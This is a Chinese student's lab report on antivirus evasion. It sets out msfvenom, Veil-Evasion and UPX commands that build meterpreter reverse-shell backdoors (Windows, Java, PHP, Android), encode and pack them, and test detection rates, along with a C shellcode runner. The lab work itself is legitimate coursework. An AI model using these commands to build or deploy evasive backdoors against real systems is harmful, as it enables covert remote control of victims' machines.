2019-2020-2 20175212童皓桢《网络对抗技术》
Exp3 免杀原理与实践
目录
-
1. 预备知识
-
2. 实验内容
- 2.1 方法
- 2.2 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
3、答老师问
-
4、遇到的问题及其解决方法
-
5、参考资料
1. 预备知识
-
1.1 恶意软件检测机制
-
1.1.1 基于特征码的检测
- 重要的就是,恶意软件的检测,并不是比对整个文件,
- 而只能只其中一个或几个片断作为识别依据。
- 这就是最简单的特征码,或“signature”。
-
1.1.2 启发式恶意软件检测
- 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 优点:
可以检测0-day恶意软件
具有一定通用性 - 缺点:
实时监控系统行为,开销稍多
没有基于特征码的精确度高
-
1.1.3 基于行为的恶意软件检测
- 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
-
-
1.2 免杀技术(Evading AV)综述
- 就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。
- 1.2.1 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 1.2.2 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 1.2.3 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
2. 实验内容
2.1 方法
2.1.1 正确使用msf编码器
- 这部分我们使用Virus Total或Viscan这两个网站对生成的后门程序进行扫描
- 这两个网站是非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对所上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。
- 将实验2中生成的后门程序20175212_backdoor.exe上传至两网站进行扫描
- 有57个引擎对其查杀,未经编码的后门很容易被检测出来
- 下面我么能使用msf编码器对该后门进行编码,并重新上传检测
-
在kali中进入
/usr/share/metasploit-framework/modules/payloads/stagers/windows
,查看Windows平台下连接方式
-
进入
/usr/share/metasploit-framework/modules/encoders/x86
,查看x86的编码方式
-
我们选用TCP连接方式,shikata_ga_nai编码方式
-
输入如下命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b '\x00' LHOST=192.168.1.106 LPORT=5212 -f exe > encoded12 .exe
生成经12次迭代编码的后门程序。-p 后面参数分别是:平台/软件/连接方式
-e 后面参数是:编码器类型
-b 后面参数是:减去16进制的0
-f 后面参数是:输出后门的格式(文件类型)
-i 后面参数是:编码的迭代次数
-
扫描结果如下
-
可以发现,多次编码对免杀效果不够显著,因为:
- 有编码就有解码,盯住这部分就能检测出来
- 还有模板。模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。曾经有一段时间,只要换了模板,就可以对所有AV免杀。现在这招不行了。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板
-
2.1.2 msfvenom生成如jar之类的其他文件
-
生成Java后门程序
- 用命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.106 lport=5212 x> thz5212_backdoor_java.jar
生成jar文件
- 上传并扫描,检测率有明显下降
- 用命令
-
生成PHP后门程序
- 用命令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.106 lport=5212 x> thz5212_backdoor.php
生成php文件
- 上传并扫描,检测率大幅下降
- 用命令
-
生成Android后门程序
- 用命令
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.106 lport=5212 x> thz5212_backdoor.apk
生成apk文件
- 上传并扫描,检测率回升
- 用命令
2.1.3 veil
-
veil的安装
- 使用命令
sudo apt-get install veil-evasion
安装veil - 使用命令
veil
打开veil,并输y
至安装成功。(这一过程中我也有遇到类似同学们遇到的各种谜之报错,但是我没有刻意去解决却可以正常使用,就先忽略了。。)
- 使用命令
-
使用
veil
命令,进控制台- 使用
use evasion
命令,进入Veil-Evasion
- 使用
use c/meterpreter/rev_tcp.py
命令进入配置界面
- 设置IP:
set LHOST 192.168.1.106
(反弹连接),端口:set LPORT 5212
- 使用命令
generate
生成后门文件,之后输入其名称veil_thz
。
- 保存路径在上图所示,上传并检测,大部分引擎都能查杀。
- 使用
2.1.4 加壳工具
- 对刚刚用veil生成的后门进行加壳
- 进入msf控制台
msfconsole
- 使用命令
upx veil_thz.exe -o veil_thz.upxed.exe
进行加壳操作
- 上传并检测,可以发现检出率有所下降,但但其实效果也就一般。
- 进入msf控制台
2.1.5 使用C + shellcode编程
- 输入命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=5212 -f c
生成一段shellcode数组
- 创建thz5212.c文件,代码如下:
unsigned char buf[] =
"shellcode内容"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 输入命令
i686-w64-mingw32-g++ thz5212.c -o thz5212.exe
,将其编译为可执行文件thz5212.exe - 上传并检测,结果如下
2.1.6 使用其他课堂未介绍方法
- 我们使用Veil-Evasion的其他荷载生成后门
- 启动veil,
use evasion
,使用命令list
查看可用荷载
- 使用命令
use 29
,即Python下shellcode在AES下加密的一种荷载方式。
- 配置用户名,使用命令
generate
生成- 选择shellcode平台,我们输入
2
- 输入
for windows/meterpreter/reverse tcp
(靶机OS/平台/连接方式) - 输入反弹连接ip,端口
- 输入创建的shellcode名,我的是thzaespy
- 生成文件类型问exe文件,选
2
- 可以看见可执行文件已经生成,并给出了保存的路径
- 上传并扫描,检出率极低,甚至检测通过了
- 选择shellcode平台,我们输入
- 启动veil,
2.2 通过组合应用各种技术实现恶意代码免杀
- 在kali中半手工制作shellcode,并对其进行加壳
- 结果在传到主机过程中,直接被win defender给查杀了
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 这里我使用之前课上娄老师给的win7进行测试
- 没有安装第三方的杀软,但是可以发现后门程序起码与win defender成功共存了,并且运行了也没提示查杀
- 据我推测是版本太老,病毒库太久没更新,感觉实际应用性不强。
3、答老师问
3.1 实验收获与感想
答:这次实验我们用了一些第三方的软件生成了各种形式的后门,以及对其进行各式的免杀操作。首先这个实验中要用到的veil安装起来比较折腾,直到后面我的还会有一些小报错,但不影响基本功能的使用,就没有再去理会。其次这些免杀技术像shellcode或是加壳之类的操作,感觉在实战中应该是非常基本的操作,以至于现在的av商会针对这些免杀技术专项检测,就像老师上课说的可能一个普通的文件在加了壳之后也会被杀掉。在综合的部分我试了一些方法,最终都因为环境或是其他原因没有成功实现对现有杀软的免杀,之后有思路可以再回来尝试一下。
3.2 杀软是如何检测出恶意代码的?
答:1. 基于特征码的检测。就是检验比对文件中的若干段代码片段,杀软会不断的更新补充它的特征库,一旦比对成功就杀掉。
2. 启发式恶意软件检测。通过一些片面特征去推断,比如这个软件的行为(开放端口,修改系统文件),或是一些外观(厂商,结构),总之精确度较低的进行检测。
3. 基于行为的恶意软件检测。主要就是监控如那件的行为,和启发式的一部分类似,也是非精确的。
3.3 免杀是做什么?
答:免杀就是通过一些手段对恶意程序进行包装处理,使其不会被杀软所检测。
3.4 免杀的基本方法有哪些?
答:与杀软的工作原理相对的,主流上有两种即改变特征码和改变行为以及一些非常规方法,细分如下
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码 - 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 通讯方式
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
3.5 开启杀软能绝对防止电脑中恶意代码吗?
答:正如科学层面上,很多带“绝对”的论断都是错误的,恶意程序和杀软本身就是矛与盾的关系,其两者的技术都是在对抗和实践中螺旋上升的一个过程。若真有一天出现了一款无懈可击的杀软,我们这门课貌似也没有学的必要了。。。
4、遇到的问题及其解决方法
- 4.1 问题一: 安装veil后,出现报错“
Could not find Wine Gecko
”
- 解决方法:由于之前的实验我已经更新过下载源,这边就在下载前执行两条命令,等待较长时间即可解决。
wine msiexec /i wine-mono-4.9.4.msi
wine msiexec /i wine_gecko-2.47-x86_64.msi。
- 4.2 问题二:在使用veil时提示“
Permission denied
”等报错
- 解决方法:根据报错提示,在进入veil前通过
sudo -s
进入root权限,之后的操作就可以畅通无阻了~
5、参考资料
https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x23_MAL_免杀原理与实践.md
https://www.cnblogs.com/jxxydwt1999/p/12350148.html
https://www.cnblogs.com/zxy20175227/p/12559042.html#j5
https://www.cnblogs.com/jinanxiaolaohu/p/12191576.html